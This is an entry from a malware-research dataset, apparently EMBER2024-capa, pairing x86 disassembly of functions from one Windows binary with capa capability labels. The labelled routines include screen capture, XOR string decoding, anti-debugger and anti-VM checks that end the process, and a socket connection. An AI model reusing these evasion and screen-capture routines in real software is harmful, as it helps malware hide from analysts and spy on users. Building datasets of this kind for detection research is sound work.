joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c7d0
Capabilities:
Capture screenshot
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
push esi
push edi
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], ecx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x64
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x40c9d7
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40c9cd
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40c9c1
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x20], eax
test eax, eax
je 0x40c9b7
push eax
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [esp + 0x20]
push edi
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40c961
push eax
call fcn.004eb5ec
mov edi, eax
add esp, 4
mov dword [esp + 0x18], edi
test edi, edi
je 0x40c961
push edi
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
xor esi, esi
cmp dword [esp + 8], esi
jbe 0x40c958
add edi, 0x30
nop dword [eax]
mov eax, dword [edi]
mov ecx, str.image_png
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c93d
test dx, dx
je 0x40c939
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c93d
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c917
xor eax, eax
jmp 0x40c942
sbb eax, eax
or eax, 1
test eax, eax
je 0x40c9df
inc esi
add edi, 0x4c
cmp esi, dword [esp + 8]
jb 0x40c910
mov edi, dword [esp + 0x18]
push edi
call fcn.004eae96
add esp, 4
movups xmm0, xmmword [0x50dab8]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x24]
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 1
push eax
push dword [esp + 0x30]
movups xmmword [esp + 0x60], xmm0
push esi
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [esp + 0x20]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [esp + 0x14]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x2c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x18]
imul eax, esi, 0x4c
push ecx
movups xmm0, xmmword [eax + ecx]
movups xmmword [esp + 0x44], xmm0
jmp 0x40c959
Function at 0x40d9b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xc], 0
je 0x40d9d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xb
jb 0x40d9c0
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
ret
Function at 0x40edc0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x11], 0
je 0x40ede2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x10
jb 0x40edd0
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret

Function at 0x40edf0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x10], 0
je 0x40ee12
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xf
jb 0x40ee00
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret

Function at 0x40ee20
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 9], 0
je 0x40ee42
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 8
jb 0x40ee30
mov byte [esi + 9], 0
mov eax, esi
pop esi
ret

Function at 0x40ee50
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xb], 0
je 0x40ee72
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xa
jb 0x40ee60
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret

Function at 0x40ee80
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xd], 0
je 0x40eea2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xc
jb 0x40ee90
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret

Function at 0x40eeb0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x13], 0
je 0x40eed2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x12
jb 0x40eec0
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
ret

Function at 0x40eee0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
je 0x40ef02
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x13
jb 0x40eef0
mov byte [esi + 0x14], 0
mov eax, esi
pop esi
ret

Function at 0x40ef10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1c], 0
je 0x40ef32
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1b
jb 0x40ef20
mov byte [esi + 0x1c], 0
mov eax, esi
pop esi
ret

Function at 0x40ef40
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x18], 0
je 0x40ef62
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x17
jb 0x40ef50
mov byte [esi + 0x18], 0
mov eax, esi
pop esi
ret

Function at 0x40ef70
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x15], 0
je 0x40ef92
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x14
jb 0x40ef80
mov byte [esi + 0x15], 0
mov eax, esi
pop esi
ret
Function at 0x40efa0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x22], 0
je 0x40efc2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x21
jb 0x40efb0
mov byte [esi + 0x22], 0
mov eax, esi
pop esi
ret

Function at 0x40efd0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xf], 0
je 0x40eff2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xe
jb 0x40efe0
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
ret
Function at 0x410500
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 7], 0
je 0x410522
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 6
jb 0x410510
mov byte [esi + 7], 0
mov eax, esi
pop esi
ret
Function at 0x414010
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1d], 0
je 0x414032
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1c
jb 0x414020
mov byte [esi + 0x1d], 0
mov eax, esi
pop esi
ret
Function at 0x414c50
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414c90
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x100
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], 0x100
push 0
push eax
mov dword [ebp - 0x14], 0x100
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 9], 0x828385a3
xor ecx, ecx
mov dword [ebp - 5], 0x8a81a9
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414d10
lea eax, [ebp - 9]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004de220
add esp, 8
test eax, eax
jne 0x414d76
mov dword [ebp - 8], 0xd5a7aba1
xor ecx, ecx
mov dword [ebp - 4], 0x100a6b9
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x414d48
lea eax, [ebp - 8]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004de220
add esp, 8
test eax, eax
jne 0x414d76
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x414dd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x10]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x10], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [ebp - 8]
shr ebx, 0x1f
and bl, 1
mov dword [ebp - 0xe], 0x82998f82
mov dword [ebp - 0xa], 0xc2dc8288
xor eax, eax
mov dword [ebp - 6], 0x989f96df
mov word [ebp - 2], 0x100
lea ecx, [eax - 0x17]
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 0xc
jb 0x414e21
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
movzx ecx, bl
mov eax, 1
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415090
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x29], 0
je 0x4150b2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x28
jb 0x4150a0
mov byte [esi + 0x29], 0
mov eax, esi
pop esi
ret

Function at 0x4150c0
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4150e2
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4150e4
mov bl, 1
mov dword [ebp - 5], 0xb7d0aa
xor ecx, ecx
mov byte [ebp - 1], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 3
jb 0x4150f1
push 0x105
lea eax, [ebp - 0x120]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 5]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x415260
mov dword [ebp - 9], 0x9484a8bf
xor ecx, ecx
mov dword [ebp - 5], 0x999ca9
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x415150
mov byte [ebp - 1], 0
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415190
test dl, dl
je 0x41518c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415190
add eax, 2
add ecx, 2
test dl, dl
jne 0x415170
xor eax, eax
jmp 0x415195
sbb eax, eax
or eax, 1
test eax, eax
je 0x415259
mov dword [ebp - 8], 0x9484a8bf
xor ecx, ecx
mov dword [ebp - 4], 0x100a8be
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x4151b0
mov byte [ebp - 1], 0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4151f0
test dl, dl
je 0x4151ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4151f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4151d0
xor eax, eax
jmp 0x4151f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x415259
mov dword [ebp - 0xb], 0x9484a8bf
xor ecx, ecx
mov dword [ebp - 7], 0x838a9baa
mov word [ebp - 3], 0x85
mov byte [ebp - 1], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x415213
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xb]
lea eax, [ebp - 0x120]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415250
test dl, dl
je 0x41524c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415250
add eax, 2
add ecx, 2
test dl, dl
jne 0x415230
xor eax, eax
jmp 0x415255
sbb eax, eax
or eax, 1
test eax, eax
jne 0x415260
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416070
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x416092
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x416080
mov byte [esi + 0x2b], 0
mov eax, esi
pop esi
ret

Function at 0x4160a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x4160c2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x4160b0
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
ret

Function at 0x416110
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x503c8b
push eax
mov dword fs:[0], esp
mov eax, dword [0x536624]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x416198
or eax, 1
mov dword [0x536624], eax
xorps xmm0, xmm0
mov dword [0x53663c], 2
movups xmmword [0x53662c], xmm0
mov eax, 0x2f5c
mov dword [0x536640], 0xf
push 0x50b290
mov word [0x53662c], ax
mov byte [0x53662e], 0
call fcn.004dcbbc
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x4161a2
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41627f
cmp dword [0x536640], 0x10
mov eax, 0x53662c
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x53662c]
cmp dword [esi + 0x14], 0x10
jb 0x4161d2
mov ecx, dword [esi]
push dword [0x53663c]
mov edx, edi
push eax
push ecx
call fcn.0046afc0
add esp, 0xc
cmp eax, 0xffffffff
je 0x416256
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x41620d
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402810
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.00416110
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x416256
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41624c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416294
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x41625e
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1e70
int3
Function at 0x4164f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416544
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00402810
mov dword [ebp - 0xd], 0x8d8c8fa5
xor ecx, ecx
mov dword [ebp - 9], 0x9c8aa681
mov dword [ebp - 5], 0x819781
mov byte [ebp - 1], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xb
jb 0x416578
lea edx, [ebp - 0xd]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x416590
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0xd]
mov edi, dword [ebp - 0x28]
sub edx, ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
push edx
cmp ebx, 0x10
mov edx, esi
push eax
cmovae ecx, edi
push 0
call fcn.0046b050
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41668d
mov dword [ebp - 0xe], 0x9e8e9aa6
xor ecx, ecx
mov dword [ebp - 0xa], 0x9e80ad8c
mov dword [ebp - 6], 0x8090979f
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x4165e2
lea edx, [ebp - 0xe]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x416600
sub edx, ecx
lea eax, [ebp - 0xe]
push edx
cmp ebx, 0x10
lea ecx, [ebp - 0x28]
push eax
cmovae ecx, edi
mov edx, esi
push 0
call fcn.0046b050
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41668d
mov dword [ebp - 0xb], 0x9cbeafa0
xor ecx, ecx
mov dword [ebp - 7], 0x959b8f89
mov word [ebp - 3], 0x83
mov byte [ebp - 1], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x416642
lea esi, [ebp - 0xb]
mov byte [ebp - 1], 0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x416660
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xb]
sub esi, ecx
cmp ebx, 0x10
push esi
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, edi
push 0
call fcn.0046b050
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41668d
xor bl, bl
jmp 0x41668f
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x4166bc
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x4166b2
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4166c5
push ecx
push edi
call fcn.004dcbd1
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e1e70
int3
Function at 0x4181e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2e], 0
je 0x418202
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x2d
jb 0x4181f0
mov byte [esi + 0x2e], 0
mov eax, esi
pop esi
ret
Function at 0x41da70
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x17], 0
je 0x41da92
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x16
jb 0x41da80
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
ret

Function at 0x41daa0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x23], 0
je 0x41dac2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x22
jb 0x41dab0
mov byte [esi + 0x23], 0
mov eax, esi
pop esi
ret

Function at 0x41db60
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41dc66
push eax
push 0xce3df
call fcn.00407d20
push 0
push 0xce447
movzx eax, byte [eax + 0x535ec0]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00407d20
add esp, 0x10
cmp esi, eax
jne 0x41dbce
cmp dword [esp + 0x10], edx
je 0x41dc66
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x41dc60
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41dc74
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41dc60
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41dc70
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41dc24
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x41dc60
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f0e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5044d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x24
push esi
push 0x536080
mov dword [ebp - 4], 0
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x41f286
mov dword [ebp - 0x1c], 0x90bbaba4
xor ecx, ecx
mov word [ebp - 0x18], 0xb1
mov byte [ebp - 0x16], 1
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41f140
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f158
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41f28c
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x19]
lea ecx, [ebp - 0x34]
call fcn.0046d420
mov byte [ebp - 4], 1
mov eax, dword [0x536178]
cmp eax, dword [0x53617c]
je 0x41f1c5
movups xmm0, xmmword [ebp - 0x34]
mov ecx, 0xf
mov byte [ebp - 0x34], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [eax + 0x10], xmm0
add dword [0x536178], 0x18
jmp 0x41f1d7
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x536174
call fcn.004725d0
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 0
cmp ecx, 0x10
jb 0x41f20c
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f202
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f291
push ecx
push edx
call fcn.004dcbd1
add esp, 8
push 0x536080
call fcn.004dbee3
mov esi, dword [0x533aac]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.00465a60
mov edx, 0x2714
mov ecx, esi
call fcn.0041e060
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test al, al
setne al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x41f274
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f267
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f291
push ecx
push edx
call fcn.004dcbd1
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004dbb7b
call fcn.00402040
